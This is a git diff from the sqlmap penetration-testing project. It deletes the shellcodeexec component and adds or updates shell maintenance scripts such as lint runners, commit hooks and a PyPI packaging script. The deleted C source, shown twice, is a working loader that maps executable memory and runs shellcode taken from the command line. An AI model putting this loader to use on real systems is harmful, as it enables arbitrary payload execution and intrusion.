@@ -1,138 +0,0 @@ -/* - shellcodeexec - Script to execute in memory a sequence of opcodes - Copyright (C) 2011 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com - email: bernardo.damele@gmail.com - - This source code is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include <sys/types.h> -#include <stdio.h> -#include <string.h> -#include <stdlib.h> -#include <time.h> -#include <ctype.h> - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#include <windows.h> -DWORD WINAPI exec_payload(LPVOID lpParameter); -#else -#include <sys/mman.h> -#include <sys/wait.h> -#include <unistd.h> -#endif - -int sys_bineval(char *argv); - -int main(int argc, char *argv[]) -{ - if (argc < 2) { - printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n"); - exit(-1); - } - - sys_bineval(argv[1]); - - exit(0); -} - -int sys_bineval(char *argv) -{ - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - len = (size_t)strlen(argv); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - // copy over the shellcode - strncpy(code, argv, len); - - // execute it by ASM code defined in exec_payload function - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an +rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - // copy over the shellcode - strncpy((char *)addr, argv, len); - - // execute it - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN64) -void __exec_payload(LPVOID); - -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __exec_payload(lpParameter); - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#endif diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32 b/extra/shellcodeexec/linux/shellcodeexec.x32 deleted file mode 100755 index 9abdb5a50b5..00000000000 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x32 and /dev/null differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_ new file mode 100644 index 00000000000..c0857d971f5 Binary files /dev/null and b/extra/shellcodeexec/linux/shellcodeexec.x32_ differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64 b/extra/shellcodeexec/linux/shellcodeexec.x64 deleted file mode 100755 index 4765da30115..00000000000 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x64 and /dev/null differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ new file mode 100644 index 00000000000..13ef7522987 Binary files /dev/null and b/extra/shellcodeexec/linux/shellcodeexec.x64_ differ diff --git a/extra/shellcodeexec/windows/README b/extra/shellcodeexec/windows/README deleted file mode 100644 index 213a6c098d1..00000000000 --- a/extra/shellcodeexec/windows/README +++ /dev/null @@ -1,25 +0,0 @@ -Before compiling, an enviroment variable has to be set. - --------------------------------------------------------------------------- -Variable name Variable description --------------------------------------------------------------------------- -PLATFORM_SDK_DIR Directory where the Platform SDK is installed - - -Procedure for setting environment variables on Windows: -My Computer -> Properties -> Advanced -> Environment Variables -User variables -> New - - -Sample value: --------------------------------------------------------------------------- -Variable name Variable value --------------------------------------------------------------------------- -PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2 - - -Notes: - -To get as small portable executable as possible compile as follows: -* Use Visual C++ 2005 -* Strip the executable with UPX diff --git a/extra/shellcodeexec/windows/shellcodeexec.sln b/extra/shellcodeexec/windows/shellcodeexec.sln deleted file mode 100644 index 59d33edafbf..00000000000 --- a/extra/shellcodeexec/windows/shellcodeexec.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual C++ Express 2005 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellcodeexec", "shellcodeexec\shellcodeexec.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32 - {4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32 - {4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32 - {4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe b/extra/shellcodeexec/windows/shellcodeexec.x32.exe deleted file mode 100755 index 38272795472..00000000000 Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe and /dev/null differ diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ new file mode 100644 index 00000000000..b55141d1d93 Binary files /dev/null and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ diff --git a/extra/shellcodeexec/windows/shellcodeexec/shellcodeexec.c b/extra/shellcodeexec/windows/shellcodeexec/shellcodeexec.c deleted file mode 100644 index efec8d7943a..00000000000 --- a/extra/shellcodeexec/windows/shellcodeexec/shellcodeexec.c +++ /dev/null @@ -1,138 +0,0 @@ -/* - shellcodeexec - Script to execute in memory a sequence of opcodes - Copyright (C) 2011 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com - email: bernardo.damele@gmail.com - - This source code is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include <sys/types.h> -#include <stdio.h> -#include <string.h> -#include <stdlib.h> -#include <time.h> -#include <ctype.h> - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#include <windows.h> -DWORD WINAPI exec_payload(LPVOID lpParameter); -#else -#include <sys/mman.h> -#include <sys/wait.h> -#include <unistd.h> -#endif - -int sys_bineval(char *argv); - -int main(int argc, char *argv[]) -{ - if (argc < 2) { - printf("Run:\n\tshellcodeexec <alphanumeric-encoded shellcode>\n"); - exit(-1); - } - - sys_bineval(argv[1]); - - exit(0); -} - -int sys_bineval(char *argv) -{ - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - len = (size_t)strlen(argv); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - // copy over the shellcode - strncpy(code, argv, len); - - // execute it by ASM code defined in exec_payload function - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an +rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANON, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - // copy over the shellcode - strncpy((char *)addr, argv, len); - - // execute it - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN64) -void __exec_payload(LPVOID); - -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __exec_payload(lpParameter); - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#endif diff --git a/extra/shellcodeexec/windows/shellcodeexec/shellcodeexec.vcproj b/extra/shellcodeexec/windows/shellcodeexec/shellcodeexec.vcproj deleted file mode 100644 index d46f062f559..00000000000 --- a/extra/shellcodeexec/windows/shellcodeexec/shellcodeexec.vcproj +++ /dev/null @@ -1,195 +0,0 @@ -<?xml version="1.0" encoding="Windows-1252"?> -<VisualStudioProject - ProjectType="Visual C++" - Version="8.00" - Name="shellcodeexec" - ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}" - RootNamespace="shellcodeexec" - > - <Platforms> - <Platform - Name="Win32" - /> - </Platforms> - <ToolFiles> - </ToolFiles> - <Configurations> - <Configuration - Name="Debug|Win32" - OutputDirectory="$(SolutionDir)$(ConfigurationName)" - IntermediateDirectory="$(ConfigurationName)" - ConfigurationType="1" - CharacterSet="2" - > - <Tool - Name="VCPreBuildEventTool" - /> - <Tool - Name="VCCustomBuildTool" - /> - <Tool - Name="VCXMLDataGeneratorTool" - /> - <Tool - Name="VCWebServiceProxyGeneratorTool" - /> - <Tool - Name="VCMIDLTool" - /> - <Tool - Name="VCCLCompilerTool" - Optimization="0" - AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include" - MinimalRebuild="true" - BasicRuntimeChecks="3" - RuntimeLibrary="3" - WarningLevel="3" - DebugInformationFormat="4" - /> - <Tool - Name="VCManagedResourceCompilerTool" - /> - <Tool - Name="VCResourceCompilerTool" - /> - <Tool - Name="VCPreLinkEventTool" - /> - <Tool - Name="VCLinkerTool" - AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)" - GenerateDebugInformation="true" - TargetMachine="1" - /> - <Tool - Name="VCALinkTool" - /> - <Tool - Name="VCManifestTool" - /> - <Tool - Name="VCXDCMakeTool" - /> - <Tool - Name="VCBscMakeTool" - /> - <Tool - Name="VCFxCopTool" - /> - <Tool - Name="VCAppVerifierTool" - /> - <Tool - Name="VCWebDeploymentTool" - /> - <Tool - Name="VCPostBuildEventTool" - /> - </Configuration> - <Configuration - Name="Release|Win32" - OutputDirectory="$(SolutionDir)$(ConfigurationName)" - IntermediateDirectory="$(ConfigurationName)" - ConfigurationType="1" - CharacterSet="2" - WholeProgramOptimization="1" - > - <Tool - Name="VCPreBuildEventTool" - /> - <Tool - Name="VCCustomBuildTool" - /> - <Tool - Name="VCXMLDataGeneratorTool" - /> - <Tool - Name="VCWebServiceProxyGeneratorTool" - /> - <Tool - Name="VCMIDLTool" - /> - <Tool - Name="VCCLCompilerTool" - Optimization="1" - EnableIntrinsicFunctions="true" - FavorSizeOrSpeed="2" - AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include" - RuntimeLibrary="2" - EnableFunctionLevelLinking="true" - WarningLevel="3" - DebugInformationFormat="0" - /> - <Tool - Name="VCManagedResourceCompilerTool" - /> - <Tool - Name="VCResourceCompilerTool" - /> - <Tool - Name="VCPreLinkEventTool" - /> - <Tool - Name="VCLinkerTool" - AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib" - GenerateDebugInformation="false" - OptimizeReferences="2" - EnableCOMDATFolding="2" - OptimizeForWindows98="1" - TargetMachine="1" - /> - <Tool - Name="VCALinkTool" - /> - <Tool - Name="VCManifestTool" - /> - <Tool - Name="VCXDCMakeTool" - /> - <Tool - Name="VCBscMakeTool" - /> - <Tool - Name="VCFxCopTool" - /> - <Tool - Name="VCAppVerifierTool" - /> - <Tool - Name="VCWebDeploymentTool" - /> - <Tool - Name="VCPostBuildEventTool" - /> - </Configuration> - </Configurations> - <References> - </References> - <Files> - <Filter - Name="Source Files" - Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx" - UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}" - > - <File - RelativePath=".\shellcodeexec.c" - > - </File> - </Filter> - <Filter - Name="Header Files" - Filter="h;hpp;hxx;hm;inl;inc;xsd" - UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}" - > - </Filter> - <Filter - Name="Resource Files" - Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav" - UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}" - > - </Filter> - </Files> - <Globals> - </Globals> -</VisualStudioProject> diff --git a/extra/shutils/autocompletion.sh b/extra/shutils/autocompletion.sh new file mode 100755 index 00000000000..edaccd73b62 --- /dev/null +++ b/extra/shutils/autocompletion.sh @@ -0,0 +1,9 @@ +#/usr/bin/env bash + +# source ./extra/shutils/autocompletion.sh + +DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` + +complete -W "$WORDLIST" sqlmap +complete -W "$WORDLIST" ./sqlmap.py diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index 43aaee77abf..3ba88a266ac 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files -find ../../. -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; +find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh new file mode 100755 index 00000000000..c334b972e84 --- /dev/null +++ b/extra/shutils/drei.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Stress test against Python3(.14) + +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done +source `dirname "$0"`"/junk.sh" diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py old mode 100644 new mode 100755 index e78a43ef1e7..5de6e357e57 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,27 +1,30 @@ #!/usr/bin/env python -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files +from __future__ import print_function + import sys -if len(sys.argv) > 0: - items = list() +if __name__ == "__main__": + if len(sys.argv) > 1: + items = list() - with open(sys.argv[1], 'r') as f: - for item in f.readlines(): - item = item.strip() - try: - str.encode(item) - if item in items: - if item: - print item - else: - items.append(item) - except: - pass + with open(sys.argv[1], 'r') as f: + for item in f: + item = item.strip() + try: + str.encode(item) + if item in items: + if item: + print(item) + else: + items.append(item) + except: + pass - with open(sys.argv[1], 'w+') as f: - f.writelines("\n".join(items)) + with open(sys.argv[1], 'w+') as f: + f.writelines("\n".join(items)) diff --git a/extra/shutils/id.sh b/extra/shutils/id.sh deleted file mode 100755 index dfae9c027d6..00000000000 --- a/extra/shutils/id.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -# Adds SVN property 'Id' to project files -find ../../. -type f -iname "*.py" -exec sed -i s/\$Id.*$/\$Id\$/g '{}' \; -find ../../. -type f -iname "*.py" -exec svn propset svn:keywords "Id" '{}' \; diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh new file mode 100755 index 00000000000..544ccf12163 --- /dev/null +++ b/extra/shutils/junk.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null +find . -name "*.pyc" -exec rm -f {} \; &>/dev/null diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py new file mode 100644 index 00000000000..fe28a35ba99 --- /dev/null +++ b/extra/shutils/newlines.py @@ -0,0 +1,30 @@ +#! /usr/bin/env python + +from __future__ import print_function + +import os +import sys + +def check(filepath): + if filepath.endswith(".py"): + content = open(filepath, "rb").read() + pattern = "\n\n\n".encode("ascii") + + if pattern in content: + index = content.find(pattern) + print(filepath, repr(content[index - 30:index + 30])) + +if __name__ == "__main__": + try: + BASE_DIRECTORY = sys.argv[1] + except IndexError: + print("no directory specified, defaulting to current working directory") + BASE_DIRECTORY = os.getcwd() + + print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY) + for root, dirs, files in os.walk(BASE_DIRECTORY): + if any(_ in root for _ in ("extra", "thirdparty")): + continue + for name in files: + filepath = os.path.join(root, name) + check(filepath) diff --git a/extra/shutils/postcommit-hook.sh b/extra/shutils/postcommit-hook.sh new file mode 100755 index 00000000000..07d91a222b7 --- /dev/null +++ b/extra/shutils/postcommit-hook.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +: ' +cat > .git/hooks/post-commit << EOF +#!/bin/bash + +source ./extra/shutils/postcommit-hook.sh +EOF + +chmod +x .git/hooks/post-commit +' + +SETTINGS="../../lib/core/settings.py" +PYPI="../../extra/shutils/pypi.sh" + +declare -x SCRIPTPATH="${0}" + +FULLPATH=${SCRIPTPATH%/*}/$SETTINGS + +if [ -f $FULLPATH ] +then + LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"') + declare -a LINE + NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") + if [ -n "$NEW_TAG" ] + then + #git commit -am "Automatic monthly tagging" + echo "Creating new tag ${NEW_TAG}" + git tag $NEW_TAG + git push origin $NEW_TAG + echo "Going to push PyPI package" + /bin/bash ${SCRIPTPATH%/*}/$PYPI + fi +fi diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh new file mode 100755 index 00000000000..300916ae369 --- /dev/null +++ b/extra/shutils/precommit-hook.sh @@ -0,0 +1,42 @@ +#!/bin/bash + +: ' +cat > .git/hooks/pre-commit << EOF +#!/bin/bash + +source ./extra/shutils/precommit-hook.sh +EOF + +chmod +x .git/hooks/pre-commit +' + +PROJECT="../../" +SETTINGS="../../lib/core/settings.py" +DIGEST="../../data/txt/sha256sums.txt" + +declare -x SCRIPTPATH="${0}" + +PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT +SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS +DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST + +git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 + +if [ -f $SETTINGS_FULLPATH ] +then + LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') + declare -a LINE + INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") + if [ -n "$INCREMENTED" ] + then + sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH + echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" + else + echo "Something went wrong in VERSION increment" + exit 1 + fi + git add "$SETTINGS_FULLPATH" +fi + +cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - +git add "$DIGEST_FULLPATH" diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh new file mode 100755 index 00000000000..8b3f0121f0f --- /dev/null +++ b/extra/shutils/pycodestyle.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh new file mode 100755 index 00000000000..20c62373daf --- /dev/null +++ b/extra/shutils/pydiatra.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Runs py3diatra on all python files (prerequisite: pip install pydiatra) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh new file mode 100755 index 00000000000..cbe37a7a0a8 --- /dev/null +++ b/extra/shutils/pyflakes.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py deleted file mode 100644 index db7baa59cbe..00000000000 --- a/extra/shutils/pylint.py +++ /dev/null @@ -1,48 +0,0 @@ -#! /usr/bin/env python - -# Runs pylint on all python scripts found in a directory tree -# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html - -import os -import re -import sys - -total = 0.0 -count = 0 - -__RATING__ = False - -def check(module): - global total, count - - if module[-3:] == ".py": - - print "CHECKING ", module - pout = os.popen('pylint --rcfile=/dev/null %s'% module, 'r') - for line in pout: - if re.match("E....:.", line): - print line - if __RATING__ and "Your code has been rated at" in line: - print line - score = re.findall("\d.\d\d", line)[0] - total += float(score) - count += 1 - -if __name__ == "__main__": - try: - print sys.argv - BASE_DIRECTORY = sys.argv[1] - except IndexError: - print "no directory specified, defaulting to current working directory" - BASE_DIRECTORY = os.getcwd() - - print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY - for root, dirs, files in os.walk(BASE_DIRECTORY): - for name in files: - filepath = os.path.join(root, name) - check(filepath) - - if __RATING__: - print "==" * 50 - print "%d modules found"% count - print "AVERAGE SCORE = %.02f"% (total / count) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh new file mode 100755 index 00000000000..3cdbdf5d714 --- /dev/null +++ b/extra/shutils/pypi.sh @@ -0,0 +1,192 @@ +#!/bin/bash +set -euo pipefail +IFS=$'\n\t' + +if [ ! -f ~/.pypirc ]; then + echo "File ~/.pypirc is missing" + exit 1 +fi + +declare -x SCRIPTPATH="${0}" +SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" +VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) +TYPE=pip +TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)" +cleanup() { rm -rf -- "${TMP_DIR:?}"; } +trap cleanup EXIT +cd "$TMP_DIR" +cat > "$TMP_DIR/setup.py" << EOF +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from setuptools import setup, find_packages + +setup( + name='sqlmap', + version='$VERSION', + description='Automatic SQL injection and database takeover tool', + long_description=open('README.rst').read(), + long_description_content_type='text/x-rst', + author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', + author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', + url='https://sqlmap.org', + project_urls={ + 'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki', + 'Source': 'https://github.com/sqlmapproject/sqlmap/', + 'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues', + }, + download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', + license='GNU General Public License v2 (GPLv2)', + packages=['sqlmap'], + package_dir={'sqlmap':'sqlmap'}, + include_package_data=True, + zip_safe=False, + # https://pypi.python.org/pypi?%3Aaction=list_classifiers + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', + 'Natural Language :: English', + 'Operating System :: OS Independent', + 'Programming Language :: Python', + 'Environment :: Console', + 'Topic :: Database', + 'Topic :: Security', + ], + entry_points={ + 'console_scripts': [ + 'sqlmap = sqlmap.sqlmap:main', + ], + }, +) +EOF +wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip +unzip sqlmap.zip +rm sqlmap.zip +mv "sqlmap-$VERSION" sqlmap +cat > sqlmap/__init__.py << EOF +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import sys + +sys.dont_write_bytecode = True +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +EOF +cat > README.rst << "EOF" +sqlmap +====== + +|Python 2.7|3.x| |License| |X| + +sqlmap is an open source penetration testing tool that automates the +process of detecting and exploiting SQL injection flaws and taking over +of database servers. It comes with a powerful detection engine, many +niche features for the ultimate penetration tester and a broad range of +switches lasting from database fingerprinting, over data fetching from +the database, to accessing the underlying file system and executing +commands on the operating system via out-of-band connections. + +Screenshots +----------- + +.. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png + :alt: Screenshot + + +You can visit the `collection of +screenshots <https://github.com/sqlmapproject/sqlmap/wiki/Screenshots>`__ +demonstrating some of features on the wiki. + +Installation +------------ + +You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: :: + + pip install --upgrade sqlmap + +Alternatively, you can download the latest tarball by clicking +`here <https://github.com/sqlmapproject/sqlmap/tarball/master>`__ or +latest zipball by clicking +`here <https://github.com/sqlmapproject/sqlmap/zipball/master>`__. + +If you prefer fetching daily updates, you can download sqlmap by cloning the +`Git <https://github.com/sqlmapproject/sqlmap>`__ repository: + +:: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap works out of the box with +`Python <http://www.python.org/download/>`__ version **2.7** and +**3.x** on any platform. + +Usage +----- + +To get a list of basic options and switches use: + +:: + + sqlmap -h + +To get a list of all options and switches use: + +:: + + sqlmap -hh + +You can find a sample run `here <https://asciinema.org/a/46601>`__. To +get an overview of sqlmap capabilities, list of supported features and +description of all options and switches, along with examples, you are +advised to consult the `user's +manual <https://github.com/sqlmapproject/sqlmap/wiki/Usage>`__. + +Links +----- + +- Homepage: https://sqlmap.org +- Download: + `.tar.gz <https://github.com/sqlmapproject/sqlmap/tarball/master>`__ + or `.zip <https://github.com/sqlmapproject/sqlmap/zipball/master>`__ +- Commits RSS feed: + https://github.com/sqlmapproject/sqlmap/commits/master.atom +- Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +- User's manual: https://github.com/sqlmapproject/sqlmap/wiki +- Frequently Asked Questions (FAQ): + https://github.com/sqlmapproject/sqlmap/wiki/FAQ +- X: https://x.com/sqlmap +- Demos: http://www.youtube.com/user/inquisb/videos +- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg + :target: https://www.python.org/ +.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg + :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE +.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg + :target: https://x.com/sqlmap + +.. pandoc --from=markdown --to=rst 